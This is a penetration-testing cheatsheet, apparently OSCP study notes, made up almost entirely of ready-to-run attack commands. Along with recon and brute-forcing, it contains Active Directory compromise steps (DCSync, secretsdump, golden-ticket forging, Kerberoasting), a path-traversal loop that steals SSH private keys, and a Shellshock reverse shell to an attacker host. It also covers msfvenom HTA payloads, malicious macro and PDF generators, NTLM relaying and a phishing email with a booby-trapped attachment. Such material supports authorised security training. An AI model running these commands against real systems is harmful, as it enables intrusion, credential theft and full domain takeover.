OSCP Cheatsheet¶

# WHOIS
whois $DOMAIN

# DNS records
host $DOMAIN
host -t MX $DOMAIN
host -t TXT $DOMAIN

# DNS zone transfer
dig axfr $DOMAIN @$DNS_SERVER
for NS in $(host -t ns $DOMAIN | cut -d ' ' -f 4); do host -l $DOMAIN $NS; done

# DNS brute-force
dnsrecon -d $DOMAIN -D ~/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -t brt
dnsenum $DOMAIN

# Google dorks
site:$DOMAIN filetype:pdf
site:$DOMAIN intitle:"index of" "parent directory"
site:$DOMAIN ext:php -filetype:html

# Shodan
hostname:$DOMAIN
hostname:$DOMAIN port:"22"

# SSL/TLS & Security Headers
# https://securityheaders.com
# https://www.ssllabs.com/ssltest/

# Full TCP scan (all ports, no ping)
nmap -sT -p- -T5 $TARGET -Pn -oN $TARGET.nmap

# Service version + default scripts
nmap -sV -sC -p $PORTS $TARGET -oN $TARGET.full.nmap

# UDP - SNMP
nmap -sU -p 161 --script snmp-info $TARGET

# Ping sweep
nmap -sn $TARGET/24
nmap -sn $TARGET/24 | grep -oE '\b([0-9]{1,3}\.){3}[0-9]{1,3}\b'

# nxc SMB sweep (also identifies hosts without SMB signing)
nxc smb $TARGET/24
nxc smb $TARGET/24 --gen-relay-list relay_list.txt

# Bash ping sweep (no nmap)
for i in {1..255}; do (ping -c 1 192.168.1.$i | grep "bytes from" &); done

# PowerShell ping sweep
for ($i=1; $i -lt 255; $i++) { ping -n 1 192.168.1.$i | findstr "TTL" }

# Bash TCP
for i in {1..65535}; do (echo > /dev/tcp/$TARGET/$i) >/dev/null 2>&1 && echo "$i is open"; done

# PowerShell TCP
1..1024 | % { echo ((new-object Net.Sockets.TcpClient).Connect("$TARGET",$_)) "Port $_ is open" } 2>$null

feroxbuster -k -u http://$TARGET -w /usr/share/wordlists/raft-large-directories.txt
feroxbuster -k -u http://$TARGET -w ~/wordlists/SecLists/Discovery/Web-Content/Java-Spring-Boot.txt

# Exposed .git dump
git_dumper.py http://$TARGET/.git/ ./TARGET.git

# DNS zone transfer
dig axfr $DOMAIN @$DNS_SERVER

# PDF metadata - username extraction
wget -r -A "*.pdf" http://$TARGET/pdfs/
exiftool *.pdf | grep -i author

# Find hidden GET params
ffuf -u 'http://$TARGET:$PORT/endpoint?PARAM=val' \
  -w ~/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt:PARAM \
  -ms 0-15,17-9999999

# Find hidden POST params (filter by default size)
ffuf -u 'http://$TARGET:$PORT/verify?PARAM=val' \
  -w ~/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt:PARAM \
  -fs $DEFAULT_SIZE

# CMS fingerprinting
whatweb $TARGET

# WordPress
wpscan --url http://$TARGET --enumerate u,vp --plugins-detection aggressive

# Joomla
python main.py -u $TARGET   # https://github.com/oppsec/juumla

# Drupal
droopescan scan drupal -u $TARGET -t 32

# nikto
nikto -host $TARGET -port $PORT -C all

# Gobuster with pattern file
# pattern.txt contains:  {GOBUSTER}/v1
#                        {GOBUSTER}/v2
gobuster dir -u http://$TARGET:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern.txt

# User enumeration via RCPT TO
smtp-user-enum -m RCPT \
  -U ~/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt \
  $TARGET 25

# SMTP password brute-force
hydra -l $USER -P passwords.txt -f $TARGET smtp -V
hydra -l $USER@$DOMAIN -P passwords.txt -f $TARGET smtp -V

# POP3 brute-force
hydra -l $USER -P passwords.txt -f $TARGET pop3 -V

nmap -v --script pop3-capabilities,pop3-ntlm-info -sV -p 110 $TARGET

telnet $TARGET 110
USER $USER
PASS $PASS
list      # list messages
retr 1    # read message 1

hydra -l $USER -P passwords.txt -f $TARGET pop3 -V

ftp $TARGET
# Try: anonymous / anonymous
# Try: ftp / ftp
# Try: $USER / $USER

# Download all files recursively
wget -r ftp://$USER:$PASS@$TARGET

# Brute-force if anonymous fails
hydra -L users.txt -P passwords.txt ftp://$TARGET

nmap -sU -p 69 --script tftp-enum $TARGET

# List shares
nxc smb $TARGET -u 'anonymous' -p '' --shares

# Spider + download all files
nxc smb $TARGET -u 'anonymous' -p '' -M spider_plus -o DOWNLOAD_FLAG=True

# List shares
nxc smb $TARGET -u "$USER" -p "$PASS" --shares

# Interactive browsing
smbclientng --host $TARGET -u "$USER" -p "$PASS" -d $DOMAIN

# Spray user list against password list
nxc smb $TARGET -u users.txt -p passwords.txt --no-bruteforce

# Remote command execution
nxc smb $TARGET -u "$USER" -p "$PASS" -x "whoami"

# nuclei
nuclei -t network/cves/2020/CVE-2020-0796.yaml -u $TARGET

# nxc module
nxc smb $TARGET -M smbghost
# [+] Potentially vulnerable to SMBGhost (CVE-2020-0796)
# -> use EDB-48267 / PoC exploit for LPE or RCE

# Nmap scripts
nmap --script msrpc-enum -p 135 $TARGET
nmap -sSUC -p 111 $TARGET

# rpcinfo
rpcinfo $TARGET
rpcinfo $TARGET | grep ypbind   # NFS indication

# impacket - check for EternalBlue-related interfaces
impacket-rpcdump -port 135 $TARGET | grep -E 'MS-EFSRPC|MS-RPRN|MS-PAR'
# MS-EFSRPC → PetitPotam; MS-RPRN / MS-PAR → PrintNightmare

rpcclient -N -U "" $TARGET    # anonymous
rpcclient -U $USER $TARGET   # authenticated
rpcclient -k $TARGET           # Kerberos auth

# Inside rpcclient:
# srvinfo          → server info
# enumdomains      → enumerate domains
# enumdomusers     → enumerate domain users
# enumdomgroups    → enumerate domain groups
# querydominfo     → domain info
# getusername      → current username

# Nmap
nmap -v -sV -p 111 --script rpcinfo $TARGET
nmap -v -p 111 --script nfs* $TARGET

# List exports
showmount -e $TARGET

# Mount share
mkdir /tmp/nfs_mount
mount -t nfs -o vers=4 $TARGET:/share /tmp/nfs_mount -o nolock

# Nmap
nmap -v -n -sV --script "ldap* and not brute" $TARGET

# ldapsearch (anonymous)
ldapsearch -h $TARGET -bx "DC=$DOMAIN,DC=$TLD"

# windapsearch
windapsearch --dc $TARGET --module users

# nxc - basic checks
nxc ldap $TARGET -u "$USER" -p "$PASS" --users
nxc ldap $TARGET -u "$USER" -p "$PASS" -k --get-sid

onesixtyone -c ~/wordlists/SecLists/Discovery/SNMP/snmp.txt $TARGET

# Standard walk
snmpwalk -c public -v1 -t 10 $TARGET -Oa
snmp-check $TARGET

# Specific OIDs
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25      # Windows users
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.4.2.1.2     # Running processes
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.6.3.1.2     # Installed software
snmpwalk -c public -v1 -Oa $TARGET 1.3.6.1.2.1.2.2.1.2    # Interface names
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.6.13.1.3       # TCP listening ports

# Extended objects - may reveal scripts/binaries with hardcoded passwords
snmpwalk -v2c -c public $TARGET NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v2c -c public $TARGET NET-SNMP-EXTEND-MIB::nsExtendOutputFull

# Test if proxy is open and responding
curl -v -x http://$TARGET:3128 http://google.com

# Enumerate internal ports/services accessible via proxy with spose (goat: https://github.com/aancw/spose)
python spose.py --proxy http://$TARGET:3128 --target $TARGET

# Browse internal service through proxy
curl -v -x http://$TARGET:3128 http://$TARGET:$INTERNAL_PORT

proxychains -q nmap -sT -Pn -n -vvv 127.0.0.1

curl -x http://$TARGET:3128 http://$TARGET:8080/phpmyadmin/

Get-GPPPassword "$DOMAIN/$USER:$PASS@$TARGET"

# Check for Groups.xml, scheduledtasks.xml, etc. in SYSVOL
smbclient \\\\$DC_IP\\SYSVOL -U "$DOMAIN/$USER%$PASS"
find /tmp/sysvol -name "*.xml" -exec grep -l "cpassword" {} \;

# Hunt for plain-text password files in NETLOGON / SYSVOL (e.g. password_reset.txt)
nxc smb $DC_IP -u "$USER" -p "$PASS" -M spider_plus -o DOWNLOAD_FLAG=True
# Then grep: grep -ri "password\|initial\|welcome" /tmp/nxc_spider_plus/

bloodyAD -d $DOMAIN --dc-ip $DC_IP -u "$USER" -p "$PASS" \
  set password "$TARGET_USER" 'P@ssword2026'

bloodyAD -d $DOMAIN --dc-ip $DC_IP -u "$USER" -p "$PASS" \
  set object "$TARGET_USER" servicePrincipalName -v 'FAKESPN/test'
nxc ldap $DC_IP -u "$USER" -p "$PASS" --kerberoasting kerberoasted.txt
hashcat -m 13100 kerberoasted.txt ~/wordlists/rockyou.txt

python dacledit.py -action 'write' -rights 'DCSync' \
  -principal "$USER" -target-dn 'DC=domain,DC=com' \
  "$DOMAIN/$USER:$PASS"
secretsdump.py "$DOMAIN/$USER:$PASS@$DC_IP"

pygpoabuse.py "$DOMAIN/$USER:$PASS" \
  -gpo-id "$GPO_GUID" \
  -dc-ip $DC_IP
# Creates local admin: john:H4x00r123..

secretsdump.py "$DOMAIN/$USER:$PASS@$DC_IP"
secretsdump.py "$DOMAIN/$USER@$DC_IP" -hashes ':$NTHASH'

# Dump krbtgt hash
secretsdump.py -hashes :$NTHASH "$DOMAIN/$USER@$DC_IP" | grep krbtgt

# Forge ticket
ticketer.py \
  -nthash "$KRBTGT_NTHASH" \
  -domain-sid "$DOMAIN_SID" \
  -domain "$DOMAIN" \
  'Administrator'

export KRB5CCNAME="$(pwd)/Administrator.ccache"
psexec.py -k -no-pass "$DOMAIN/Administrator@$DC_IP"

# Auto-extract SSH keys for all users
for user in $(curl -s --path-as-is "http://$TARGET/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" \
  | cut -d ':' -f 1); do
  for key in id_rsa id_dsa id_ecdsa id_ecdsa-sk id_ed25519 id_ed25519-sk id_eddsa; do
    curl -s --path-as-is \
      "http://$TARGET/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/home/$user/.ssh/$key" \
      | grep -A 9999 "BEGIN OPENSSH PRIVATE KEY"
  done
done

# Linux
/etc/passwd
/etc/shadow
/home/$USER/.ssh/id_rsa
/proc/self/environ
/var/log/apache2/access.log    # log poisoning

# Windows
C:\Windows\win.ini
C:\inetpub\wwwroot\web.config

# If a web form submits to an endpoint that returns "Cannot GET /endpoint"
# the app may only accept POST requests
curl -X POST "http://$TARGET:$PORT/list-running-procs" --data ""
curl -X POST "http://$TARGET:$PORT/list-current-deployments" --data ""
curl -X POST "http://$TARGET:$PORT/list-active-nodes" --data ""

# interact locally
curl "http://127.0.0.1:8080/?whoami"
# URL-encode the command if the endpoint takes a query param as a command
curl "http://127.0.0.1:8080/?type%20C:\Users\Administrator\Desktop\proof.txt"

# Detect
curl -A "() { :; }; echo; /bin/bash -c 'whoami'" http://$TARGET/cgi-bin/test.cgi

# Reverse shell via User-Agent
curl -A "() { :; }; /bin/bash -i >& /dev/tcp/$ATTACKER/$PORT 0>&1" \
  http://$TARGET/cgi-bin/test.cgi

# nikto detection
nikto -h $TARGET -C all

sudo msfvenom -p windows/shell_reverse_tcp LHOST=$ATTACKER LPORT=$PORT \
  -f hta-psh -o evil.hta

# HTA-Shell: https://github.com/S1ckB0y1337/HTA-Shell
# Start server -> delivers mshta reverse shell

python evil_macro.py -l $ATTACKER -p $PORT -o macro.txt
# https://github.com/rodolfomarianocy/Evil-Macro/

python3 malicious-pdf.py $ATTACKER
# https://github.com/jonaslejon/malicious-pdf
# Open PDF → Windows connects back → Responder captures NTLMv2

sudo python Responder.py -I tun0

# From Windows host
net use \\$ATTACKER

# Via MSSQL xp_dirtree
EXEC master..xp_dirtree '\\$ATTACKER\share';

# Generate LNK file
ntlm_theft.py -g lnk -s $ATTACKER -f Services

# Drop it into a share via nxc
nxc smb $TARGET -u "$USER" -p "$PASS" \
  -M slinky -o NAME="Apps" SERVER="$ATTACKER"

sudo ntlmrelayx.py -smb2support -t smb://$TARGET -i
# Connect to port 11000 for interactive SMB shell
nc 127.0.0.1 11000

sudo docker run --rm -it -p 80:8080 \
  -v $(pwd):/var/wsgidav-root \
  mar10/wsgidav

sendEmail \
  -t $TARGET@$DOMAIN \
  -f $SENDER@$DOMAIN \
  -s $MAIL_SERVER:25 \
  -u "Important problems" \
  -a ./config.Library-ms \
  -m ./body.txt \
  -xu $SMTP_USER -xp "$SMTP_PASS" -v